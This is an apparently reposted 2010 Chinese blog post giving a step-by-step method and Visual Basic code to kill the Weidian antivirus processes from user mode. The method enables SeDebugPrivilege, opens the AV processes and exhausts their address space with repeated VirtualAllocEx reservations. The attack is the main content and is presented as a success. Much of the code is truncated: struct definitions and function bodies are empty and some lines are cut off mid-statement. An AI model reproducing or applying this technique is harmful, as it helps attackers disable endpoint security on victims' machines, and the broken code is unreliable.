from:http://blog.sina.com.cn/s/blog_61d65e360100l709.html
驱动学习----内存管理漏洞利用之--Ring3下Kill微点
(2010-08-26 10:02:49)
1,我们先来看下微点有哪几个进程,哦,原来就4个,其中3个是系统进程
2,因此有必要提升下自己进程的特权级,使其具备Debug效能
3,试图用OpenProcess打开微点进程,OK,特权级提升之后可以全部打开
4,试图用VirtualAllocEx划分一个地址空间看看,哈哈
5,既然你微点没有Inline
6,暴力无限划分,直到所有地址空间全部被“保留”
7,等3分钟,左右,微点4个进程全部退出,win7提示微点退出
8,成功~
为了提高编程效率,我选择了VB
窗口代码:
Private Sub Form_Initialize()
Call searchMP
End Sub
Private Sub Form_Load()
Dim currentprocess As Long
Dim a As Long
Dim retlen As Long
Dim tkp As TOKEN_PRIVILEGES
Dim oldtkp As TOKEN_PRIVILEGES
'*******************************************
currentprocess = GetCurrentProcess()
a = OpenProcessToken(currentprocess, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, CurrentProcessToken)
If a = 0 Then
End If
a = LookupPrivilegeValue("", "SeDebugPrivilege", CurrentProcessLuid)
If a = 0 Then
End If
'***********************************************
tkp.PrivilegeCount = 1
tkp.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
tkp.Privileges(0).pLuid.highpart = CurrentProcessLuid.highpart
tkp.Privileges(0).pLuid.lowpart = CurrentProcessLuid.lowpart
a = AdjustTokenPrivileges(CurrentProcessToken, False, tkp, LenB(oldtkp), oldtkp, retlen)
If a = 0 Then
End If
End Sub
以下是模块代码:
Public Declare Function CreateThread Lib "kernel32" (lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, _
Public Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LARGE_INTEGER) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function CreateToolhelp32Snapshot
Public Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Public Declare Function Process32Next Lib "kernel32" (ByVal hSapshot As Long, lppe As PROCESSENTRY32) As Long
'*******************************************
Public Const ANYSIZE_ARRAY = 1
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_DEBUG_NAME = "SeDebugPrivilege"
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Public Const MEM_RESERVE = 4096
Public Const PAGE_READWRITE = 4
'**********************************************
Public CurrentProcessToken As Long
Public CurrentProcessLuid As LARGE_INTEGER
'###################
Public MP1 As String
Public MP2 As String
Public MP3 As String
Public MP4 As String
Public MP1ID As Long
Public MP2ID As Long
Public MP3ID As Long
Public MP4ID As Long
Public hMP1 As Long
Public hMP2 As Long
Public hMP3 As Long
Public hMP4 As Long
Public AllocMP1 As Long
Public AllocMP2 As Long
Public AllocMP3 As Long
Public AllocMP4 As Long
'###################
Public Type SECURITY_ATTRIBUTES
End Type
Public Type ACL
End Type
Public Type SECURITY_DESCRIPTOR
End Type
Public Type LUID
End Type
Public Type LARGE_INTEGER
End Type
Public Type LUID_AND_ATTRIBUTES
End Type
Public Type TOKEN_PRIVILEGES
End Type
'*************************************************
Public Const PROCESS_VM_READ = &H10
Public Const TH32CS_SNAPPROCESS = &H2
Public Const MEM_DECOMMIT = &H4000
Public Const PROCESS_Create_THREAD = (&H2)
Public Const PROCESS_VM_OPERATION = (&H8)
Public Const PROCESS_VM_WRITE = (&H20)
Public Const INFINITE = &HFFFF
Public Type PROCESSENTRY32
End Type
Function searchMP()
Dim MySnapHandle
Dim ProcessInfo
Dim MyRemoteProcessId
Dim a As Long
MySnapHandle = CreateToolhelp32Snapshot
ProcessInfo.dwSize = Len(ProcessInfo)
If Process32First(MySnapHandle, ProcessInfo) <> 0 Then
Do
Loop While Process32Next(MySnapHandle, ProcessInfo) <> 0
End If
CloseHandle MySnapHandle
'***************************
Call AllocMemMP
End Function
Function AllocMemMP()
End Function
Function StartAllocMP1()
AllocMemSizeOne = 50000000
AllocMemSizeTwo = 500
MsgBox ("MPMon.EXE has been Alloc
End Function
Function StartAllocMP2()
AllocMemSizeOne = 50000000
AllocMemSizeTwo = 500
MsgBox ("MPSVC.EXE has been Alloc
End Function
Function StartAllocMP3()
AllocMemSizeOne = 50000000
AllocMemSizeTwo = 500
MsgBox ("MPSVC1.EXE has been Alloc
End Function
Function StartAllocMP4()
AllocMemSizeOne = 50000000
AllocMemSizeTwo = 500
MsgBox ("MPSVC2.EXE has been Alloc
End Function
以下是截图: